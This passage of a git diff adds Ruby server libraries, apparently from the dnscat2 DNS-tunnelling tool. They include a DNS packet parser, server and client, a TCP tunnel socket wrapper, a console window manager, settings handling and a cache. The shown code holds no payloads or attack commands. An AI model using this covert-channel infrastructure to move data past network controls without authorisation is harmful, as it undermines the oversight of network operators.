expire limit: #{@expire}, min_ttl: #{@ttl} [SOA]" + end + end + + class MX + attr_accessor :preference, :name + + def initialize(name, preference = 10) + if(!name.is_a?(String) || !preference.is_a?(Fixnum)) + raise ArgumentError("Creating an MX record wrong! Please file a bug!") + end + @name = name + @preference = preference + end + + def MX.parse(data) + preference = data.unpack("n").pop() + name = data.unpack_name() + + return MX.new(name, preference) + end + + def serialize() + name = DNSer::Packet::DnsUnpacker.pack_name(@name) + return [@preference, name].pack("na*") + end + + def to_s() + return "#{@preference} #{@name} [MX]" + end + end + + class TXT + attr_accessor :data + + def initialize(data) + @data = data + end + + def TXT.parse(data) + len = data.unpack("C").pop() + bytes = data.unpack("A#{len}").pop() + + return TXT.new(bytes) + end + + def serialize() + return [@data.length, data].pack("Ca*") + end + + def to_s() + return "#{@data} [TXT]" + end + end + + class AAAA + attr_accessor :address + + def initialize(address) + @address = IPAddr.new(address) + + if(!@address.ipv6?()) + raise(FormatException, "IPv6 address required!") + end + end + + def AAAA.parse(data) + address = data.unpack("A16").pop() + return AAAA.new(IPAddr.ntop(address)) + end + + def serialize() + return @address.hton() + end + + def to_s() + return "#{@address} [A]" + end + end + + class RRUnknown + def initialize(type, data) + @type = type + @data = data + end + + def RRUnknown.parse(type, data, length) + data = data.unpack("A#{length}").pop() + return RRUnknown.new(type, data) + end + + def serialize() + return @data + end + + def to_s() + return "(Unknown record type #{@type}): #{@data.unpack("H*")}" + end + end + + # This defines a DNS question. One question is sent in outgoing packets, + # and one question is also sent in the response - generally, the same as + # the question that was asked. + class Question + attr_reader :name, :type, :cls + + def initialize(name, type = DNSer::Packet::TYPE_ANY, cls = DNSer::Packet::CLS_IN) + @name = name + @type = type + @cls = cls + end + + def Question.parse(data) + name = data.unpack_name() + type, cls = data.unpack("nn") + + return Question.new(name, type, cls) + end + + def serialize() + return [DNSer::Packet::DnsUnpacker.pack_name(@name), type, cls].pack("a*nn") + end + + def type_s() + return DNSer::Packet::TYPES[@type] || "" + end + + def cls_s() + return DNSer::Packet::CLSES[@cls] || "" + end + + def to_s() + return "#{name} [#{type_s()} #{cls_s()}]" + end + + def answer(ttl, *args) + case @type + when DNSer::Packet::TYPE_A + record = DNSer::Packet::A.new(*args) + when DNSer::Packet::TYPE_NS + record = DNSer::Packet::NS.new(*args) + when DNSer::Packet::TYPE_CNAME + record = DNSer::Packet::CNAME.new(*args) + when DNSer::Packet::TYPE_MX + record = DNSer::Packet::MX.new(*args) + when DNSer::Packet::TYPE_TXT + record = DNSer::Packet::TXT.new(*args) + when DNSer::Packet::TYPE_AAAA + record = DNSer::Packet::AAAA.new(*args) + when DNSer::Packet::TYPE_ANY + raise(DNSer::Packet::FormatException, "We can't automatically create a response for an 'ANY' request :(") + else + raise(DNSer::Packet::FormatException, "We don't know how to answer that type of request!") + end + + return Answer.new(@name, @type, @cls, ttl, record) + end + + def ==(other) + if(!other.is_a?(Question)) + return false + end + + return (@name == other.name) && (@type == other.type) && (@cls == other.cls) + end + end + + # A DNS answer. A DNS response packet contains zero or more Answer records + # (defined by the 'ancount' value in the header). An answer contains the + # name of the domain from the question, followed by a resource record. + class Answer + attr_reader :name, :type, :cls, :ttl, :rr + + def initialize(name, type, cls, ttl, rr) + @name = name + @type = type + @cls = cls + @ttl = ttl + @rr = rr + + if(rr.is_a?(String)) + raise(ArgumentError, "'rr' can't be a string!") + end + end + + def ==(other) + if(!other.is_a?(Answer)) + return false + end + + # Note: we don't check TTL here, and checking RR probably doesn't work (but we don't actually need it) + return (@name == other.name) && (@type == other.type) && (@cls == other.cls) && (@rr == other.rr) + end + + def Answer.parse(data) + name = data.unpack_name() + type, cls, ttl, rr_length = data.unpack("nnNn") + + rr = nil + data.verify_length(rr_length) do + case type + when TYPE_A + rr = A.parse(data) + when TYPE_NS + rr = NS.parse(data) + when TYPE_CNAME + rr = CNAME.parse(data) + when TYPE_SOA + rr = SOA.parse(data) + when TYPE_MX + rr = MX.parse(data) + when TYPE_TXT + rr = TXT.parse(data) + when TYPE_AAAA + rr = AAAA.parse(data) + else + puts("Warning: Unknown record type: #{type}") + rr = RRUnknown.parse(type, data, rr_length) + end + end + + return Answer.new(name, type, cls, ttl, rr) + end + + def serialize() + # Hardcoding 0xc00c is kind of ugly, but it always works + rr = @rr.serialize() + return [0xc00c, @type, @cls, @ttl, rr.length(), rr].pack("nnnNna*") + end + + def type_s() + return DNSer::Packet::TYPES[@type] + end + + def cls_s() + return DNSer::Packet::CLSES[@cls] + end + + def to_s() + return "#{@name} [#{type_s()} #{cls_s()}]: #{@rr} [TTL = #{@ttl}]" + end + end + + def initialize(trn_id, qr, opcode, flags, rcode) + @trn_id = trn_id + @qr = qr + @opcode = opcode + @flags = flags + @rcode = rcode + @questions = [] + @answers = [] + end + + def add_question(question) + @questions << question + end + + def add_answer(answer) + @answers << answer + end + + def Packet.parse(data) + data = DnsUnpacker.new(data) + trn_id, full_flags, qdcount, ancount, _, _ = data.unpack("nnnnnn") + + qr = (full_flags >> 15) & 0x0001 + opcode = (full_flags >> 11) & 0x000F + flags = (full_flags >> 7) & 0x000F + rcode = (full_flags >> 0) & 0x000F + + packet = Packet.new(trn_id, qr, opcode, flags, rcode) + + 0.upto(qdcount - 1) do + question = Question.parse(data) + packet.add_question(question) + end + + 0.upto(ancount - 1) do + answer = Answer.parse(data) + packet.add_answer(answer) + end + + return packet + end + + def get_error(rcode) + return Packet.new(@trn_id, DNSer::Packet::QR_RESPONSE, DNSer::Packet::OPCODE_QUERY, DNSer::Packet::FLAG_RD | DNSer::Packet::FLAG_RA, rcode) + end + + def serialize() + result = '' + + full_flags = ((@qr << 15) & 0x8000) | + ((@opcode << 11) & 0x7800) | + ((@flags << 7) & 0x0780) | + ((@rcode << 0) & 0x000F) + + result += [ + @trn_id, # trn_id + full_flags, # qr, opcode, flags, rcode + @questions.length(), # qdcount + @answers.length(), # ancount + 0, # nscount (ignored) + 0 # arcount (ignored) + ].pack("nnnnnn") + + questions.each do |q| + result += q.serialize() + end + + answers.each do |a| + result += a.serialize() + end + + return result + end + + def to_s(brief = false) + if(brief) + question = @questions[0] || '' + + # Print error packets more clearly + if(@rcode != DNSer::Packet::RCODE_SUCCESS) + return "Request for #{question}: error: #{DNSer::Packet::RCODES[@rcode]}" + end + + if(@qr == DNSer::Packet::QR_QUERY) + return "Request for #{question}" + else + if(@answers.length == 0) + return "Response for #{question}: n/a" + else + return "Response for #{question}: #{@answers[0]} (and #{@answers.length - 1} others)" + end + end + end + + results = ["DNS #{QRS[@qr] || "unknown"}: id=#{@trn_id}, opcode=#{OPCODES[@opcode]}, flags=#{Packet.FLAGS(@flags)}, rcode=#{RCODES[@rcode] || "unknown"}, qdcount=#{@questions.length}, ancount=#{@answers.length}"] + + @questions.each do |q| + results << " Question: #{q}" + end + + @answers.each do |a| + results << " Answer: #{a}" + end + + return results.join("\n") + end + + def ==(other) + if(!other.is_a?(Packet)) + return false + end + + return (@trn_id == other.trn_id) && (@opcode == other.opcode) && (@flags == other.flags) && (@questions == other.questions) && (@answers == other.answers) + end + end + + # When a request comes in, a transaction is created and sent to the callback. + # The transaction can be used to respond to the request at any point in the + # future. + # + # Any methods with a bang ('!') in front will send the response back to the + # requester. Only one bang method can be called, any subsequent calls will + # throw an exception. + class Transaction + attr_reader :request, :response, :sent + + def initialize(s, request, host, port, cache = nil) + @s = s + @request = request + @host = host + @port = port + @sent = false + @cache = cache + + @response = DNSer::Packet.new( + @request.trn_id, + DNSer::Packet::QR_RESPONSE, + @request.opcode, + DNSer::Packet::FLAG_RD | DNSer::Packet::FLAG_RA, + DNSer::Packet::RCODE_SUCCESS + ) + + @response.add_question(@request.questions[0]) + end + + def add_answer(answer) + raise ArgumentError("Already sent!") if(@sent) + + @response.add_answer(answer) + end + + def error(rcode) + raise ArgumentError("Already sent!") if(@sent) + + @response.rcode = rcode + end + + def error!(rcode) + raise ArgumentError("Already sent!") if(@sent) + + @response.rcode = rcode + reply!() + end + + def passthrough!(pt_host, pt_port, callback = nil) + raise ArgumentError("Already sent!") if(@sent) + + DNSer.query(@request.questions[0].name, { + :server => pt_host, + :port => pt_port, + :type => @request.questions[0].type, + :cls => @request.questions[0].cls, + :timeout => 3, + } + ) do |response| + # If there was a timeout, handle it + if(response.nil?) + response = @response + response.rcode = DNSer::Packet::RCODE_SERVER_FAILURE + end + + response.trn_id = @request.trn_id + @s.send(response.serialize(), 0, @host, @port) + + # Let the callback know if anybody registered one + if(callback) + callback.call(response) + end + end + + @sent = true + end + + def reply!() + raise ArgumentError("Already sent!") if(@sent) + + # Cache it if we have a cache + if(@cache) + @cache[@request.trn_id, 3] = { + :request => @request, + :response => @response, + } + end + + # Send the response + @s.send(@response.serialize(), 0, @host, @port) + @sent = true + end + end + + # Create a new DNSer and listen on the given host/port. This will throw an + # exception if we aren't allowed to bind to the given port. + def initialize(host, port, cache=false) + @s = UDPSocket.new() + @s.bind(host, port) + @thread = nil + + # Create a cache if the user wanted one + if(cache) + @cache = Vash.new() + end + end + + # This method returns immediately, but spawns a background thread. The thread + # will recveive and parse DNS packets, create a transaction, and pass it to + # the caller's block. + def on_request() + @thread = Thread.new() do |t| + begin + loop do + data = @s.recvfrom(65536) + + # Data is an array where the first element is the actual data, and the second is the host/port + request = DNSer::Packet.parse(data[0]) + + # Create a transaction object, which we can use to respond + transaction = Transaction.new(@s, request, data[1][3], data[1][1], @cache) + + # If caching is enabled, deal with it + if(@cache) + # This is somewhat expensive, but we aren't using the cache for performance + @cache.cleanup!() + + # See if the transaction is cached + cached = @cache[request.trn_id] + + # Verify it deeper (for security reasons) + if(!cached.nil?) + puts("POTENTIAL CACHE HIT") + if(request == cached[:request]) + puts("CACHE HIT") + transaction.reply!(cached[:response]) + end + end + end + + if(!transaction.sent) + begin + proc.call(transaction) + rescue StandardError => e + puts("Caught an error: #{e}") + puts(e.backtrace()) + transaction.reply!(transaction.response_template({:rcode => DNSer::Packet::RCODE_SERVER_FAILURE})) + end + end + end + ensure + @s.close + end + end + end + + # Kill the listener + def stop() + if(@thread.nil?) + puts("Tried to stop a listener that wasn't listening!") + return + end + + @thread.kill() + @thread = nil + end + + # After calling on_request(), this can be called to halt the program's + # execution until the thread is stopped. + def wait() + if(@thread.nil?) + puts("Tried to wait on a DNSer instance that wasn't listening!") + return + end + + @thread.join() + end + + # Send out a query, asynchronously. This immediately returns, then, when the + # query is finished, the callback block is called with a DNSer::Packet that + # represents the response (or nil, if there was a timeout). + def DNSer.query(hostname, params = {}) + server = params[:server] || "8.8.8.8" + port = params[:port] || 53 + type = params[:type] || DNSer::Packet::TYPE_A + cls = params[:cls] || DNSer::Packet::CLS_IN + timeout = params[:timeout] || 3 + + packet = DNSer::Packet.new(rand(65535), DNSer::Packet::QR_QUERY, DNSer::Packet::OPCODE_QUERY, DNSer::Packet::FLAG_RD, DNSer::Packet::RCODE_SUCCESS) + packet.add_question(DNSer::Packet::Question.new(hostname, type, cls)) + + s = UDPSocket.new() + + return Thread.new() do + begin + s.send(packet.serialize(), 0, server, port) + + timeout(timeout) do + response = s.recv(65536) + proc.call(DNSer::Packet.parse(response)) + end + rescue Timeout::Error + proc.call(nil) + rescue Exception => e + puts("There was an exception sending a query for #{hostname} to #{server}:#{port}: #{e}") + ensure + if(s) + s.close() + end + end + end + end +end diff --git a/server/libs/hex.rb b/server/libs/hex.rb new file mode 100644 index 0000000..09273b9 --- /dev/null +++ b/server/libs/hex.rb @@ -0,0 +1,53 @@ +## +# hex.rb +# Created November, 2012 +# By Ron Bowes +# +# See: LICENSE.md +# +# This is a simple utility class that converts an arbitrary binary string into +# a user-readable string. +## + +class Hex + BYTE_NUMBER_LENGTH = 8 + SPACES_BEFORE_HEX = 2 + SPACES_BEFORE_ASCII = 2 + LINE_LENGTH = 16 + + # Convert the arbitrary binary data, 'data', into a user-readable string. + def Hex.to_s(data, indent = 0) + length = data.length + out = (' ' * indent) + + 0.upto(length - 1) do |i| + if((i % LINE_LENGTH) == 0) + if(i != 0) + out = out + "\n" + (' ' * indent) + end + out = out + ("%0#{BYTE_NUMBER_LENGTH}X" % i) + " " * SPACES_BEFORE_HEX + end + + out = out + ("%02X " % data[i].ord) + + if(((i + 1) % LINE_LENGTH) == 0) + out = out + (" " * SPACES_BEFORE_ASCII) + LINE_LENGTH.step(1, -1) do |j| + out = out + ("%c" % ((data[i + 1 - j].ord > 0x20 && data[i + 1 - j].ord < 0x80) ? data[i + 1 - j].ord : ?.)) + end + end + + end + + (length % LINE_LENGTH).upto(LINE_LENGTH - 1) do |i| + out = out + (" ") # The width of a hex character and a space + end + out = out + (' ' * SPACES_BEFORE_ASCII) + + (length - (length % LINE_LENGTH)).upto(length - 1) do |i| + out = out + ("%c" % ((data[i].ord > 0x20 && data[i].ord < 0x80) ? data[i].ord : ?.)) + end + + return out + end +end diff --git a/server/libs/ring_buffer.rb b/server/libs/ring_buffer.rb new file mode 100644 index 0000000..3af7135 --- /dev/null +++ b/server/libs/ring_buffer.rb @@ -0,0 +1,29 @@ +## +# ring_buffer.rb +# By https://gist.github.com/Nimster/4078106 +# Created Sept 18, 2015 +# +# See LICENSE.md +## + +class RingBuffer < Array + attr_accessor :max_size + + def initialize(max_size, enum = nil) + @max_size = max_size + enum.each { |e| self << e } if enum + end + + def <<(el) + if self.size < @max_size || @max_size.nil? + super + else + self.shift + self.push(el) + end + end + + alias :push :<< +end + + diff --git a/server/libs/settings.rb b/server/libs/settings.rb new file mode 100644 index 0000000..6488238 --- /dev/null +++ b/server/libs/settings.rb @@ -0,0 +1,190 @@ +## +# settings.rb +# By Ron Bowes +# February 8, 2014 +# +# See LICENSE.md +# +# This is a class for managing ephemeral settings for a project. +# +# When the program starts, any number of settings can be registered either for +# individually created instances of this class, or for a global instances - +# Settings::GLOBAL - that is automatically created (and that is used for +# getting/setting settings that don't exist). +# +# What makes this more useful than a hash is two things: +# +# 1. Mutators - Each setting can have a mutator (which is built-in and related +# to the type) that can alter it. For example, TYPE_BOOLEAN has a mutator that +# changes 't', 'true', 'y', 'yes', etc to true. TYPE_INTEGER converts to a +# proper number (or throws an error if it's not a number), and so on. +# +# 2. Validators/callbacks - When a setting is defined, it's given a block that +# executes whenever the value changes. That block can either prevent the change +# by raising a Settings::ValidationError (which the program has to catch), or +# can process the change in some way (by, for example, changing a global +# variable). +# +# Together, those features make this class fairly flexible and useful! +## + +class Settings + def initialize() + @settings = {} + end + + GLOBAL = Settings.new() + + class ValidationError < StandardError + end + + TYPE_STRING = 0 + TYPE_INTEGER = 1 + TYPE_BOOLEAN = 2 + TYPE_BLANK_IS_NIL = 3 + TYPE_NO_STRIP = 4 + + @@mutators = { + TYPE_STRING => Proc.new() do |value| + value.strip() + end, + + TYPE_INTEGER => Proc.new() do |value| + if(value.nil?) + raise(Settings::ValidationError, "Can't be nil!") + end + if(value.start_with?('0x')) + if(value[2..-1] !~ /^[\h]+$/) + raise(Settings::ValidationError, "Not a value hex string: #{value}") + end + + value[2..-1].to_i(16) + else + if(value !~ /^[\d]+$/) + raise(Settings::ValidationError, "Not a valid number: #{value}") + end + + value.to_i() + end + end, + + TYPE_BOOLEAN => Proc.new() do |value| + value = value.downcase() + + if(['t', 1, 'y', 'true', 'yes'].index(value)) + # return + true + elsif(['f', 0, 'n', 'false', 'no'].index(value)) + # return + false + else + raise(Settings::ValidationError, "Expected: true/false") + end + + end, + + TYPE_BLANK_IS_NIL => Proc.new() do |value| + value == '' ? nil : value.strip() + end, + + TYPE_NO_STRIP => Proc.new() do |value| + value + end, + } + + # Set the name to the new value. The name has to have previously been defined + # by calling the create() function. + # + # If this isn't Settings::GLOBAL and allow_recursion is set, unrecognized + # variables will be retrieved, if possible, from Settings::GLOBAL. + def set(name, new_value, allow_recursion=true) + name = name.to_s() + new_value = new_value.to_s() + + if(@settings[name].nil?) + if(!allow_recursion) + raise(Settings::ValidationError, "No such setting!") + end + + return Settings::GLOBAL.set(name, new_value, false) + end + + old_value = @settings[name][:value] + new_value = @@mutators[@settings[name][:type]].call(new_value) + + if(@settings[name][:watcher] && old_value != new_value) + @settings[name][:watcher].call(old_value, new_value) + end + + @settings[name][:value] = new_value + + return old_value + end + + # Set a variable back to the default value. + def unset(name, allow_recursion=true) + if(@settings[name].nil?) + if(!allow_recursion) + raise(Settings::ValidationError, "No such setting!") + end + + return Settings::GLOBAL.unset(name) + end + + set(name, @settings[name][:default].to_s(), allow_recursion) + end + + # Get the current value of a variable. + def get(name, allow_recursion=true) + name = name.to_s() + + if(@settings[name].nil?) + if(allow_recursion) + return GLOBAL.get(name, false) + end + end + + return @settings[name][:value] + end + + # Yields for each setting. Each setting has a name, a value, a documentation + # string, and a default value. + def each_setting() + @settings.each_pair do |k, v| + yield(k, v[:value], v[:docs], v[:default]) + end + end + + # Create a new setting, or replace an old one. This must be done before a + # setting is used. + def create(name, type, default_value, docs) + name = name.to_s() + + @settings[name] = @settings[name] || {} + + @settings[name][:type] = type + @settings[name][:watcher] = proc + @settings[name][:docs] = docs + @settings[name][:default] = @@mutators[type].call(default_value.to_s()) + + # This sets it to the default value + unset(name, false) + end + + # Replaces any variable found in the given, in the form '$var' where 'var' + # is a setting, with the setting value + # + # For example if "id" is set to 123, then the string "the id is $id" will + # become "the id is 123". + def do_replace(str, allow_recursion = true) + @settings.each_pair do |name, setting| + str = str.gsub(/\$#{name}/, setting[:value].to_s()) + end + + if(allow_recursion) + str = Settings::GLOBAL.do_replace(str, false) + end + + return str + end +end diff --git a/server/libs/socketer.rb b/server/libs/socketer.rb new file mode 100644 index 0000000..31ffec9 --- /dev/null +++ b/server/libs/socketer.rb @@ -0,0 +1,149 @@ +## +# socketer.rb +# Created November 27, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# This is a fairly simple wrapper around TCPSocket that makes the interface +# a bit more ruby-esque. +## + +require 'socket' + +class Socketer + attr_reader :lhost, :lport + + BUFFER = 65536 + + class Session + attr_reader :host, :port + + def initialize(client, callbacks = {}) + @client = client + @on_connect = callbacks[:on_connect] + @on_data = callbacks[:on_data] + @on_error = callbacks[:on_error] + @host = client.peeraddr[2] + @port = client.peeraddr[1] + + # Do the 'new connection' callback + if(@on_connect) + @on_connect.call(self, client.peeraddr[2], client.peeraddr[1]) + end + end + + def _handle_exception(e, msg) + if(@on_error) + @on_error.call(self, "Error #{msg}: #{e}", e) + end + stop!() + end + + def ready!() + @thread = Thread.new() do + begin + loop do + data = @client.recv(BUFFER) + + if(data.nil? || data.length == 0) + raise(IOError, "Connection closed") + end + + if(@on_data) + @on_data.call(self, data) + end + end + rescue Exception => e + begin + _handle_exception(e, "receiving data") + rescue Exception => e + puts("Error in exception handler; please don't do that :)") + puts(e) + puts(e.backtrace) + end + end + end + end + + def stop!() + if(@thread) + @thread.exit() + end + + @client.close() + end + + def send(data) + begin + @client.write(data) + rescue Exception => e + _handle_exception(e, "sending data") + + stop!() + end + end + end + + def initialize(socket, thread, lhost, lport) + @socket = socket + @thread = thread + @lhost = lhost + @lport = lport + end + + def to_s() + return "Tunnel listening on %s:%d" % [@lhost, @lport] + end + + def kill() + begin + @thread.exit() + @thread.join() + @socket.close() + rescue + # Ignore exceptions + end + end + + def Socketer._handle_exception(e, msg, callbacks) + if(callbacks[:on_error]) + callbacks[:on_error].call(self, "Error #{msg}: #{e}", e) + end + end + + def Socketer.listen(host, port, callbacks = {}) + # Create the socket right away so we'll know if it fails + #puts("Listening on #{host}:#{port}...") + s = TCPServer.new(host, port) + + return Socketer.new(s, Thread.new() do + begin + loop do + Session.new(s.accept(), callbacks) + end + rescue StandardError => e + Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks) + end + end, host, port) + end + + def Socketer.connect(host, port, callbacks = {}) + #puts("Connecting to #{host}:#{port}...") + + return Thread.new() do + begin + s = TCPSocket.new(host, port) + if(s) + Session.new(s, callbacks) + else + if(callbacks[:on_error]) + callbacks[:on_error].call(nil, "Couldn't connect to #{host}:#{port}!") + end + end + rescue Exception => e + Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks) + end + end + end +end diff --git a/server/libs/swindow.rb b/server/libs/swindow.rb new file mode 100644 index 0000000..3095a48 --- /dev/null +++ b/server/libs/swindow.rb @@ -0,0 +1,412 @@ +## +# swindow.rb +# By Ron Bowes +# September, 2015 +# +# See LICENSE.md +# + +# This implements a fairly simple multi-window buffer. +# +# When included, a thread is created that will listen to stdin and feed the +# input to whichever window is active. +# +# New instances of this class are created to create new windows. The window can +# be switched by calling the activate() or deactivate() functions. +# +# Windows are set up like a tree - when you create a window, you can specify a +# 'parent'. When a window is deactivated or closed, the parent is activated (if +# possible). Typically, you'll want one "master" window, which is the top-most +# window in the tree. +# +# User input is handled by a callback function. The proc that handles user +# input is passed to the on_input() function (which allows it to be changed), +# and it's called each time the user presses . +# +# The window can be printed to using fairly normal functions - puts, printf, +# print, etc. +# +# Windows are assigned an incremental ID value, and can be referred to as such. +# +# If you want a message to go to a window's parents (or children), a special +# function called with() can be used with a block: +# +# window.with({:to_parent => true}) do +# window.puts("hi") +# end +# +# The following options can be set: +# * :to_parent - sends to the current window and its parent +# * :to_ancestors - sends to the current window, its parent, its parent's parent, etc. +# * :to_children - Sends to the current window, and each of its children +# * :to_descendants - Sends to the current window, its children, its children's children, etc. +# +# Each window also maintains a history of typed comments, up to 1000 lines (by default). +## + +require 'readline' + +require 'libs/ring_buffer' + +class SWindow + attr_accessor :prompt, :name, :noinput + attr_reader :id + + @@id = -1 + @@active = nil + @@windows = {} + @@history_size = 1000 + @@firehose = false + + # This function will trap the TSTP signal (suspend, ctrl-z) and, if possible, + # activate the parent window. + def SWindow._catch_suspend() + orig_suspend = Signal.trap("TSTP") do + if(@@active) + @@active.deactivate() + end + end + + proc.call() + + Signal.trap("TSTP", orig_suspend) + end + + @@input_thread = Thread.new() do + begin + # This lets the program load a bit before the initial prompt is printed (a slightly better user experience) + sleep(0.1) + _catch_suspend() do + loop do + begin + while @@active.nil? do + end + + if(@@active.noinput) + str = Readline::readline() + else + str = Readline::readline(@@active.prompt, true) + end + + # If readline() returns nil, it means the input stream is closed + # (either the file it's reading from is done, or the user pressed + # ctrl-d). Terminate the input thread. + if(str.nil?) + break + end + + if(@@active.nil?) + $stderr.puts("WARNING: there is no active window! Input's going nowhere") + $stderr.puts("If you think this might be a bug, please report to") + $stderr.puts("https://github.com/iagox86/dnscat2/issues") + next + end + + @@active._incoming(str) + rescue SystemExit + # If something sent an exit request, we want to break, which shuts + # down the thread + break + rescue Exception => e + $stderr.puts("Something bad just happened! You will likely want to report this to") + $stderr.puts("https://github.com/iagox86/dnscat2/issues") + $stderr.puts(e.inspect) + $stderr.puts(e.backtrace.join("\n")) + end + end + end + + $stderr.puts("Input thread is over") + rescue StandardError => e + $stderr.puts(e) + $stderr.puts(e.backtrace.join("\n")) + end + end + + # Create a new window, with the given parent (use 'nil' for a top-level + # window, though you should try to only do one of those). Optionally, the + # window can also be activated (which means it's brought to the front). + def initialize(parent = nil, activate = false, params = {}) + @parent = parent + @children = [] + + @id = params[:id] || (@@id += 1) + @name = params[:name] || "unnamed" + @prompt = params[:prompt] || ("%s %s> " % [@name, @id.to_s()]) + @noinput = params[:noinput] || false + @times_out = params[:times_out] || false + + @callback = nil + @history = RingBuffer.new(@@history_size) + @typed_history = [] + @closed = false + @pending = false + + @to_parent = false + @to_ancestors = false + @to_children = false + @to_descendants = false + + if(@parent) + @parent._add_child(self) + end + + if(@@active.nil? || activate) + self.activate() + end + + if(params[:quiet] != true) + target = @parent ? @parent : self + target.with({:to_descendants => true, :to_ancestors => true}) do + target.puts("New window created: %s" % @id.to_s()) + end + end + + @@windows[@id.to_s()] = self + end + + def _we_just_got_data() + if(@@active == self) + return + end + + @pending = true + end + + # Yields for each child + def children() + @children.each do |child| + yield child + end + end + + # Set the on_input callback - the function that will be called when input is + # received. Very important! + def on_input() + @callback = proc + end + + def with(params = {}) + # Save the state + to_parent = @to_parent + to_ancestors = @to_ancestors + to_children = @to_children + to_descendants = @to_descendants + + # Set the state + @to_parent = params[:to_parent] || @to_parent + @to_ancestors = params[:to_ancestors] || @to_ancestors + @to_children = params[:to_children] || @to_children + @to_descendants = params[:to_descendants] || @to_descendants + + yield() + + # Restore the state + @to_parent = to_parent + @to_ancestors = to_ancestors + @to_children = to_children + @to_descendants = to_descendants + end + + def do_recursion(func, *args) + if(@parent && (@to_parent || @to_ancestors)) + @parent.with({:to_parent => false, :to_children => false, :to_descendants => false, :to_ancestors => @to_ancestors}) do + @parent.send(func, *args) + end + end + + if(@to_children || @to_descendants) + @children.each do |c| + c.with({:to_descendants => @to_descendants, :to_children => false, :to_parent => false, :to_ancestors => false}) do + c.send(func, *args) + end + end + end + end + + # Write to a window, just like $stdout.puts() + def puts(str = "") + if(@@firehose) + $stdout.puts(str) + return + end + + _we_just_got_data() + + if(@@active == self) + $stdout.puts(str) + end + @history << (str.to_s() + "\n") + + do_recursion(:puts, str) + end + + # Write to a window, just like $stdout.print() + def print(str = "") + if(@@firehose) + $stdout.print(str) + return + end + + _we_just_got_data() + + str = str.to_s() + if(@@active == self) + $stdout.print(str) + end + @history << str.to_s() + + do_recursion(:print, str) + end + + # Write to a window, just like $stdout.printf() + def printf(*args) + print(sprintf(*args)) + end + + def _add_child(child) + @children << child + end + + # Enable a window; re-draws the history, and starts sending user input to + # the specified window (note that this can be a closed window; we don't + # really care) + def activate() + # The user just viewed the window, so data is no longer pending + @pending = false + + # Set this window to the activate one + @@active = self + + # Re-draw the history + $stdout.puts(@history.join("")) + + # It appears that some versions of Readline don't support :clear, so only do this if we can + if(Readline::HISTORY.respond_to?(:clear)) + # Fill Readline's buffer with the typed history (this is a bit of a hack, + # but Readline doesn't support multiple history buffers) + Readline::HISTORY.clear() + end + @typed_history.each do |i| + Readline::HISTORY << i + end + end + + # Basically, this activates the parent window (if possible) + def deactivate() + if(@parent) + @parent.activate() + else + $stdout.puts("Can't close the main window!") + end + end + + def _incoming(str) + if(@noinput) + return + end + + @history << @prompt + str + "\n" + if(str != '') + @typed_history << str + end + + if(@callback.nil?) + self.puts("Input received, but nothing has registered to receive it") + self.puts("Use ctrl-z to escape if this window isn't taking input!") + return + end + @callback.call(str) + end + + # Process some string as if it was coming from the keyboard (this can be used to, + # for example, write scripts) + def fake_input(str) + return _incoming(str) + end + + # Set the number of lines of history for the current session. Note that this + # only takes effect after another message is added to the history (lazy + # evaluated, essentially). + def history_size=(size) + @history.max_size = size + end + + # Get the number of lines of history for the current session. + def history_size() + return @history.max_size + end + + # Set the default history size for new windows that are created. The history + # size for current windows doesn't change. + def SWindow.history_size=(size) + @@history_size = size + end + + # Get the default history size. + def SWindow.history_size() + return @@history_size + end + + # close the window - closing windows is purely a UI thing, they are still + # available and can receive data like anything else. + def close() + @closed = true + deactivate() + end + + # Check if the window has been closed + def closed?() + return @closed + end + + # Check if the window has any pending data + def pending?() + return @pending + end + + # Check if a window with the given id exists + def SWindow.exists?(id) + return !@@windows[id.to_s()].nil? + end + + # Retrieve a window by its id value + def SWindow.get(id) + return @@windows[id.to_s()] + end + + # This function blocks until SWindow is totally finished (that is, it has + # received an exit signal or an EOF marker). + def SWindow.wait() + @@input_thread.join() + end + + # This is mostly for debugging - all output goes to the same place + def SWindow.set_firehose(value) + @@firehose = value + end + + def kick() + @last_seen = Time.now() + end + + def to_s() + s = "%s :: %s" % [@id.to_s(), @name] + if(@@active == self) + s += " [active]" + end + + if(@pending) + s += " [*]" + end + + if(@times_out) + elapsed = Time.now() - @last_seen + if(elapsed > 5) + s += " [idle for #{elapsed.to_i()} seconds]" + end + end + + return s + end +end diff --git a/server/libs/vash.rb b/server/libs/vash.rb new file mode 100644 index 0000000..0f011df --- /dev/null +++ b/server/libs/vash.rb @@ -0,0 +1,111 @@ + ############################################################################# + # Class: Vash (Ruby Volatile Hash) + # + # Hash that returns values only for a short time. This is useful as a cache + # where I/O is involved. The primary goal of this object is to reduce I/O + # access and due to the nature of I/O being slower then memory, you should also + # see a gain in quicker response times. + # + # For example, if Person.first found the first person from the database & cache + # was an instance of Vash then the following would only contact the database for + # the first iteration: + # + # > cache = Vash.new + # > 1000.times {cache[:person] ||= Person.first} + # + # However if you did the following immediately following that command it would + # hit the database again: + # + # > sleep 61 + # > cache[:person] ||= Person.first + # + # The reason is that there is a default Time-To-Live of 60 seconds. You can + # also set a custom TTL of 10 seconds like so: + # + # > cache[:person, 10] = Person.first + # + # The Vash object will forget any answer that is requested after the specified + # TTL. It is a good idea to manually clean things up from time to time because + # it is possible that you'll cache data but never again access it and therefor + # it will stay in memory after the TTL has expired. To clean up the Vash object, + # call the method: cleanup! + # + # > sleep 11 # At this point the prior person ttl will be expired + # # but the person key and value will still exist. + # > cache # This will still show the the entire set of keys + # # regardless of the TTL, the :person will still exist + # > cache.cleanup! # All of the TTL's will be inspected and the expired + # # :person key will be deleted. + # + # The cleanup must be manually called because the purpose of the Vash is to + # lessen needless I/O calls and gain speed not to slow it down with regular + # maintenance. + class Vash < Hash + def initialize(constructor = {}) + @register ||= {} # remembers expiration time of every key + if constructor.is_a?(Hash) + super() + merge(constructor) + else + super(constructor) + end + end + + alias_method :regular_writer, :[]= unless method_defined?(:regular_writer) + alias_method :regular_reader, :[] unless method_defined?(:regular_reader) + + def [](key) + sterilize(key) + clear(key) if expired?(key) + regular_reader(key) + end + + def []=(key, *args) + # a little bit o variable hacking to support (h[key, ttl] = value), which will come + # accross as (key, [ttl, value]) whereas (h[key]=value) comes accross as (key, [value]) + if args.length == 2 + value, ttl = args[1], args[0] + elsif args.length == 1 + value, ttl = args[0], 10 + else + raise ArgumentError, "Wrong number of arguments, expected 2 or 3, received: #{args.length+1}\n"+ + "Example Usage: volatile_hash[:key]=value OR 